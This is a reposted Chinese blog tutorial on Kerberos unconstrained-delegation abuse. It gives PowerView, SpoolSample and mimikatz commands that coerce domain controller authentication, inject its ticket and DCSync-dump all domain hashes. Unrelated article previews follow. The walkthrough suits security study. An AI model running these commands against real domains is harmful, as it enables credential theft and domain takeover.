利用Kerberos委派攻击锤狗头

摘要:
用户需要访问主机s2上的HTTP服务,HTTP服务需要请求其他主机的SQLServer数据库。但是,S2不知道用户是否具有访问SQLServer的权限。此时,HTTP服务将使用用户的身份访问SQLServer。如果用户具有访问SQLServer的权限,则访问将成功。

一、委派简单介绍

域中如果出现 A 使用 Kerberos 身份验证访问域中的服务 B,而 B 再利用 A 的身份去请求域中的服务 C ,这个过程就可以理解为委派。

利用Kerberos委派攻击锤狗头第1张

用户需要访问主机s2上的HTTP服务,而HTTP服务需要请求其他主机的SQLServer数据库,但是S2并不知道用户是否有权限访问SQLServer,这时HTTP服务会利用用户的身份去访问SQLServer,如果User有权限访问SQLServer服务才能访问成功。

一、非约束委派+Spooler BUG利用

powershell -exec bypass Import-Module .PowerView.ps1

查询域中配置非约束委派的主机:Get-NetComuter -Unconstrained -Domain yiwang.com

利用条件,需要设置一台主机账户开启了非约束委派域内机器的权限,实际可配合powerview脚本查找主机,域控主机需要为win2012 server r2 以上 版本,Print Spooler服务默认是自动运行的

利用Kerberos委派攻击锤狗头第2张

Spooler利用原理:利用Windows打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex)方法强制任何运行了Spooler服务的计算机以通过Kerberos或ntml对攻击者选择的目标进行身份验证。

GitHub POC:https://github.com/leechristensen/SpoolSample  //此处使用域用户去执行,否则会导致程序崩溃需要将此域用户添加入本地管理员组为mimikatz做准备

利用Kerberos委派攻击锤狗头第3张

命令: SpoolSample.exe dc.redteam.com WEB-1.redteam.com

使用mimikatz导入票据

privilege::debug  //提升权限

kerberos::purge  //清除票据

sekurlsa::tickets /export  //导出票据

利用Kerberos委派攻击锤狗头第4张

 kerberos::ptt [0;862bdd]-2-0-60a10000-DC$@krbtgt-REDTEAM.COM.kirbi  //导入票据

lsadump::dcsync /domain:redteam.com /all /csv  //通过dcsync获取域内所有hash

利用Kerberos委派攻击锤狗头第5张

参考链接:

https://mp.weixin.qq.com/s/_wwTo7JcFV_lXaxhgMFJCQ

https://uknowsec.cn/posts/notes/%E5%9F%9F%E6%B8%97%E9%80%8F-Delegation.html

https://xz.aliyun.com/t/7217#toc-0

免责声明:文章转载自《利用Kerberos委派攻击锤狗头》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇纯CSS3魔方的制作roject 'org.springframework.boot:spring-boot-starter-parent:XXX' not found 解决下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

nodejs+https 使用openssl (window)

HTML的getUsermedia必是要安全的连接 比如 localhost、127.0.0.1 、https chrome才让调用摄像头 1.申请域名、备案、域名解析 2.openssl生成 打开git bash   生成三个文件 放到项目中 代码如下...

【基础组件18】Apache Druid 0.14入门(一)简介、集群部署、使用kafka 构建实时数据摄取

参考链接: https://www.cnblogs.com/momoyan/p/9614635.html https://blog.csdn.net/weixin_38441544/article/details/82853651 http://www.zhyea.com/2018/07/12/druid-historical-broker-boot-fa...

中移4G模块-ML302-OpenCpu开发-(MQTT连接阿里云-接收和发送数据)

B站:https://space.bilibili.com/309103931 中移4G模块-ML302专栏:https://blog.csdn.net/qq_33259323/category_10453372.html 中移4G模块-ML302文集:https://www.bilibili.com/read/readlist/rl328642 1.中移...

Change of Variables Theorem 变量变换定理

一个有效描述长度、面积、体积和广义n维体积(内容)如何被可微函数所扭曲的定理。特别是,变量变换定理将弄清内容扭曲的整个问题简化为理解无穷小的扭曲,即由线性映射的行列式所给出的导数(一个线性映射)的扭曲。 变量变换定理在标准化流中的应用 https://lilianweng.github.io/lil-log/2018/10/13/flow-based-d...

开源软硬一体OpenCV AI Kit(OAK)

开源软硬一体OpenCV AI Kit(OAK) OpenCV 涵盖图像处理和计算机视觉方面的很多通用算法,是非常有力的研究工具之一,且稳居开发者最喜爱的 AI 工具/框架榜首。 1、会不会被USA禁止啊? b. 不会, Myriad X 可以销售,性能稍低 (嵌入式芯片 4TOPS),被禁的是100+TOPS的芯片。 2、opencv开发者要花钱用吗?...

jenkins入门-----(1)安装、配置

Jenkins概念 Jenkins是一个开源的、可扩展的持续集成、交付、部署(软件/代码的编译、打包、部署)的基于web界面的平台。允许持续集成和持续交付项目,无论用的是什么平台,可以处理任何类型的构建或持续集成。官网:https://jenkins.io/ 官方文档:https://jenkins.io/doc/ Jenkins特性 开源的java语言开...